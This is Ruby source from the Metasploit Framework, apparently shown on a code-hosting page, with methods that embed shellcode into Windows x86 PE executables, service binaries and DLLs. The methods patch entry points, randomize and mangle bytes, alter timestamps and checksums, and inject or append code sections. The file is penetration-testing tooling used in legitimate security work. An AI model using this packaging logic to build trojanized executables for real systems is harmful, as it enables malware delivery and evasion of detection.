Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/util/exe/windows/x86.rb
36043 views
1
module Msf::Util::EXE::Windows::X86
2
include Msf::Util::EXE::Common
3
include Msf::Util::EXE::Windows::Common
4
5
def self.included(base)
6
base.extend(ClassMethods)
7
end
8
9
module ClassMethods
10
# # Construct a Windows x86 PE executable with the given shellcode.
11
# # to_win32pe
12
# #
13
# # @param framework [Msf::Framework] The Metasploit framework instance.
14
# # @param code [String] The shellcode to embed in the executable.
15
# # @param opts [Hash] Additional options.
16
# # @return [String] The constructed PE executable as a binary string.
17
18
# def to_win32pe(framework, code, opts = {})
19
# # Use the standard template if not specified by the user.
20
# # This helper finds the full path and stores it in opts[:template].
21
# set_template_default(opts, 'template_x86_windows.exe')
22
23
# # Read the template directly from the path now stored in the options.
24
# pe = File.read(opts[:template], mode: 'rb')
25
26
# # Find the tag and inject the payload
27
# bo = find_payload_tag(pe, 'Invalid Windows x86 template: missing "PAYLOAD:" tag')
28
# pe[bo, code.length] = code.dup
29
# pe
30
# end
31
32
# to_win32pe
33
#
34
# @param framework [Msf::Framework]
35
# @param code [String]
36
# @param opts [Hash]
37
# @option opts [String] :sub_method
38
# @option opts [String] :inject, Code to inject into the exe
39
# @option opts [String] :template
40
# @option opts [Symbol] :arch, Set to :x86 by default
41
# @return [String]
42
def to_win32pe(framework, code, opts = {})
43
44
# For backward compatibility, this is roughly equivalent to 'exe-small' fmt
45
if opts[:sub_method]
46
if opts[:inject]
47
raise RuntimeError, 'NOTE: using the substitution method means no inject support'
48
end
49
50
# use
51
return self.to_win32pe_exe_sub(framework, code, opts)
52
end
53
54
# Allow the user to specify their own EXE template
55
set_template_default(opts, "template_x86_windows.exe")
56
57
# Copy the code to a new RWX segment to allow for self-modifying encoders
58
payload = win32_rwx_exec(code)
59
60
# Create a new PE object and run through sanity checks
61
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
62
63
#try to inject code into executable by adding a section without affecting executable behavior
64
if opts[:inject]
65
injector = Msf::Exe::SegmentInjector.new({
66
:payload => code,
67
:template => opts[:template],
68
:arch => :x86,
69
:secname => opts[:secname]
70
})
71
return injector.generate_pe
72
end
73
74
text = nil
75
pe.sections.each {|sec| text = sec if sec.name == ".text"}
76
77
raise RuntimeError, "No .text section found in the template" unless text
78
79
unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
80
raise RuntimeError, "The .text section does not contain an entry point"
81
end
82
83
p_length = payload.length + 256
84
85
# If the .text section is too small, append a new section instead
86
if text.size < p_length
87
appender = Msf::Exe::SegmentAppender.new({
88
:payload => code,
89
:template => opts[:template],
90
:arch => :x86,
91
:secname => opts[:secname]
92
})
93
return appender.generate_pe
94
end
95
96
# Store some useful offsets
97
off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
98
off_beg = pe.rva_to_file_offset(text.base_rva)
99
100
# We need to make sure our injected code doesn't conflict with the
101
# the data directories stored in .text (import, export, etc)
102
mines = []
103
pe.hdr.opt['DataDirectory'].each do |dir|
104
next if dir.v['Size'] == 0
105
next unless text.contains_rva?(dir.v['VirtualAddress'])
106
delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg
107
mines << [delta, dir.v['Size']]
108
end
109
110
# Break the text segment into contiguous blocks
111
blocks = []
112
bidx = 0
113
mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
114
bbeg = bidx
115
bend = mine[0]
116
blocks << [bidx, bend-bidx] if bbeg != bend
117
bidx = mine[0] + mine[1]
118
end
119
120
# Add the ending block
121
blocks << [bidx, text.size - bidx] if bidx < text.size - 1
122
123
# Find the largest contiguous block
124
blocks.sort!{|a,b| b[1]<=>a[1]}
125
block = blocks.first
126
127
# TODO: Allow the entry point in a different block
128
if payload.length + 256 >= block[1]
129
raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+257} found:#{block[1]})"
130
end
131
132
# Make a copy of the entire .text section
133
data = text.read(0,text.size)
134
135
# Pick a random offset to store the payload
136
poff = rand(block[1] - payload.length - 256)
137
138
# Flip a coin to determine if EP is before or after
139
eloc = rand(2)
140
eidx = nil
141
142
# Pad the entry point with random nops
143
entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)
144
145
# Pick an offset to store the new entry point
146
if eloc == 0 # place the entry point before the payload
147
poff += 256
148
eidx = rand(poff-(entry.length + 5))
149
else # place the entry pointer after the payload
150
poff -= [256, poff].min
151
eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length
152
end
153
154
# Relative jump from the end of the nops to the payload
155
entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')
156
157
# Mangle 25% of the original executable
158
1.upto(block[1] / 4) do
159
data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
160
end
161
162
# Patch the payload and the new entry point into the .text
163
data[block[0] + poff, payload.length] = payload
164
data[block[0] + eidx, entry.length] = entry
165
166
# Create the modified version of the input executable
167
exe = ''
168
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
169
170
a = [text.base_rva + block.first + eidx].pack("V")
171
exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a
172
exe[off_beg, data.length] = data
173
174
tds = pe.hdr.file.TimeDateStamp
175
exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")
176
177
cks = pe.hdr.opt.CheckSum
178
unless cks == 0
179
exe[exe.index([cks].pack('V')), 4] = [0].pack("V")
180
end
181
182
exe = clear_dynamic_base(exe, pe)
183
pe.close
184
185
exe
186
end
187
188
# to_winpe_only
189
#
190
# @param framework [Msf::Framework] The framework of you want to use
191
# @param code [String]
192
# @param opts [Hash]
193
# @param arch [String] Default is "x86"
194
def to_winpe_only(framework, code, opts = {}, arch=ARCH_X86)
195
196
# Allow the user to specify their own EXE template
197
set_template_default(opts, "template_#{arch}_windows.exe")
198
199
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
200
201
exe = ''
202
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
203
204
pe_header_size = 0x18
205
entryPoint_offset = 0x28
206
section_size = 0x28
207
characteristics_offset = 0x24
208
virtualAddress_offset = 0x0c
209
sizeOfRawData_offset = 0x10
210
211
sections_table_offset =
212
pe._dos_header.v['e_lfanew'] +
213
pe._file_header.v['SizeOfOptionalHeader'] +
214
pe_header_size
215
216
sections_table_characteristics_offset = sections_table_offset + characteristics_offset
217
218
sections_header = []
219
pe._file_header.v['NumberOfSections'].times do |i|
220
section_offset = sections_table_offset + (i * section_size)
221
sections_header << [
222
sections_table_characteristics_offset + (i * section_size),
223
exe[section_offset,section_size]
224
]
225
end
226
227
addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint
228
229
# look for section with entry point
230
sections_header.each do |sec|
231
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
232
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
233
characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]
234
235
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
236
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
237
if (importsTable - addressOfEntryPoint) < code.length
238
#shift original entry point to prevent tables overwriting
239
addressOfEntryPoint = importsTable - code.length + 4
240
241
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
242
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
243
end
244
# put this section writable
245
characteristics |= 0x8000_0000
246
newcharacteristics = [characteristics].pack('V')
247
exe[sec[0],newcharacteristics.length] = newcharacteristics
248
end
249
end
250
251
# put the shellcode at the entry point, overwriting template
252
entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
253
exe[entryPoint_file_offset,code.length] = code
254
exe = clear_dynamic_base(exe, pe)
255
exe
256
end
257
258
# to_win32pe_old
259
#
260
# @param framework [Msf::Framework] The framework of you want to use
261
# @param code [String]
262
# @param opts [Hash]
263
def to_win32pe_old(framework, code, opts = {})
264
265
payload = code.dup
266
# Allow the user to specify their own EXE template
267
set_template_default(opts, "template_x86_windows_old.exe")
268
269
pe = ''
270
File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)}
271
272
if payload.length <= 2048
273
payload << Rex::Text.rand_text(2048-payload.length)
274
else
275
raise RuntimeError, "The EXE generator now has a max size of 2048 " +
276
"bytes, please fix the calling module"
277
end
278
279
bo = pe.index('PAYLOAD:')
280
unless bo
281
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag"
282
end
283
pe[bo, payload.length] = payload
284
285
pe[136, 4] = [rand(0x100000000)].pack('V')
286
287
ci = pe.index("\x31\xc9" * 160)
288
unless ci
289
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\""
290
end
291
cd = pe.index("\x31\xc9" * 160, ci + 320)
292
unless cd
293
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\""
294
end
295
rc = pe[ci+320, cd-ci-320]
296
297
# 640 + rc.length bytes of room to store an encoded rc at offset ci
298
enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
299
lft = 640+rc.length - enc.length
300
301
buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
302
pe[ci, buf.length] = buf
303
304
# Make the data section executable
305
xi = pe.index([0xc0300040].pack('V'))
306
pe[xi,4] = [0xe0300020].pack('V')
307
308
# Add a couple random bytes for fun
309
pe << Rex::Text.rand_text(rand(64)+4)
310
pe
311
end
312
313
# to_win32pe_exe_sub
314
#
315
# @param framework [Msf::Framework] The framework of you want to use
316
# @param code [String]
317
# @param opts [Hash]
318
# @return [String]
319
def to_win32pe_exe_sub(framework, code, opts = {})
320
# Allow the user to specify their own DLL template
321
set_template_default(opts, "template_x86_windows.exe")
322
opts[:exe_type] = :exe_sub
323
exe_sub_method(code,opts)
324
end
325
326
# Embeds shellcode within a Windows PE file implementing the Windows
327
# service control methods.
328
#
329
# @param framework [Object]
330
# @param code [String] shellcode to be embedded
331
# @option opts [Boolean] :sub_method use substitution technique with a
332
# service template PE
333
# @option opts [String] :servicename name of the service, not used in
334
# substitution technique
335
#
336
# @return [String] Windows Service PE file
337
def to_win32pe_service(framework, code, opts = {})
338
# Allow the user to specify their own service EXE template
339
set_template_default(opts, "template_x86_windows_svc.exe")
340
opts[:exe_type] = :service_exe
341
exe_sub_method(code,opts)
342
end
343
344
# to_win32pe_dll
345
#
346
# @param framework [Msf::Framework] The framework of you want to use
347
# @param code [String]
348
# @param opts [Hash]
349
# @option [String] :exe_type
350
# @option [String] :dll
351
# @option [String] :inject
352
# @return [String]
353
def to_win32pe_dll(framework, code, opts = {})
354
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
355
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)
356
opts[:exe_type] = :dll
357
358
if opts[:inject]
359
to_win32pe(framework, code, opts)
360
else
361
exe_sub_method(code, opts)
362
end
363
end
364
365
366
# to_win32pe_dccw_gdiplus_dll
367
#
368
# @param framework [Msf::Framework] The framework of you want to use
369
# @param code [String]
370
# @param opts [Hash]
371
# @option [String] :exe_type
372
# @option [String] :dll
373
# @option [String] :inject
374
# @return [String]
375
def to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
376
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')
377
to_win32pe_dll(framework, code, opts)
378
end
379
end
380
class << self
381
include ClassMethods
382
end
383
end
384
385